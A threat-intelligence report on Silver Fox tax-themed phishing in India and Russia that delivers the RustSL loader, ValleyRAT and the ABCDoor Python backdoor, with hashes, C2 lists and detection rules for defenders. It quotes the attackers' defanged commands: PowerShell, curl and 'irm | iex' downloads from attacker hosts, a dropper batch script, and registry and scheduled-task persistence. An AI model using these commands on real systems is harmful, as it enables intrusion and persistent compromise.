8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

  • Eight payload encryption methods
  • Thirteen memory allocation methods
  • Twelve sandbox and virtual machine detection techniques
  • Thirteen payload execution methods
  • Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

  • sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
  • enc_payload_len: the size of the encrypted payload
  • sgn_iterations and sgn_key: parameters used for decryption
  • sgn_decoder_size and decoder: unused fields
  • enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

  1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

    Original file containing the encrypted malicious payload

    Original file containing the encrypted malicious payload

  2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
  3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

    Encrypted malicious payload prior to the final decryption stage

    Encrypted malicious payload prior to the final decryption stage

  4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

  • ip-api.com (the GitHub version relies solely on this service)
  • ipwho.is
  • ipinfo.io
  • ipapi.co
  • www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

  • As an email attachment
  • Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

  • Embedded within the loader body
  • Hosted on an external website as a PNG image
  • Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

  • p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
  • bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key Description
HKCU:\Console\0 For x86-based modules
HKCU:\Console\1 For x64-based modules
HKCU:\Console\IpDate Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value Module name Library MD5 hash Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0 保86.dll 4a5195a38a458cdd2c1b5ab13af3b393 2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0 保86.dll e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32
2375193669e243e830ef5794226352e7 保86.dll_bin e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

  1. Using the InternetReadFile function with the User-Agent PythonDownloader
  2. Using the URLDownloadToFile function
  3. Using PowerShell:
    powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"
  4. Using curl:
    curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

  1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
    "C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient

    Persistence is established by executing the following command:
    cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"
  2. Task scheduler: The malware executes
    cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

  • MainManager: handles C2 connection and authorization (sending system metadata)
  • MessageManager: registers and executes message handlers
  • AutoStartManager: manages backdoor persistence
  • ClientManager: handles backdoor updates and removal
  • SystemInfoManager: collects data from the victim’s system, including screenshots
  • RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
  • FileManager: performs file system operations
  • KeyboardManager: emulates keyboard input
  • ProcessManager: manages system processes
  • ClipboardManager: exfiltrates clipboard contents to the C2
  • CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
  • Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)
Backdoor strings with characteristic names

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

  • Emulating a double click while broadcasting the victim’s screen
  • A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

  • Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
  • Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
  • Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version Compiled date (UTC) Key updates ABCDoor .pyd MD5 hash
121 2024.12.19 18:27:11 –  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
–  No OOP used
–  Registry persistence
5b998a5bc5ad1c550564294034d4a62c
143 2025.02.04 01:15:00 Client updates
–  Task scheduler persistence
–  OOP implementation (classes)
–  Clipboard management
–  Process management
–  Asymmetric file and directory encryption
c50c980d3f4b7ed970f083b0d37a6a6a
152 2025.04.01 15:39:36 –  DPAPI encryption functions
–  Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154 2025.05.09 13:36:24 –  Implementation of installation channels
–  Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156 2025.08.11 13:36:10 –  Retrieval and logging of initial installation time to the registry a543b96b0938de798dd4f683dd92a94a
157 2025.08.28 14:23:57 –  Use of DDA source in ffmpeg for monitor screen broadcasting fa08b243f12e31940b8b4b82d3498804
157 2025.09.23 11:38:17 –  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12) 13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

    • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
    • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
      powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

      This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

      • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
        • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
        • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
      • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
      • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

      • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
      • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
      • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
      • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
      • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
      • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

      • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
      • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
      • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
      • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
      • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
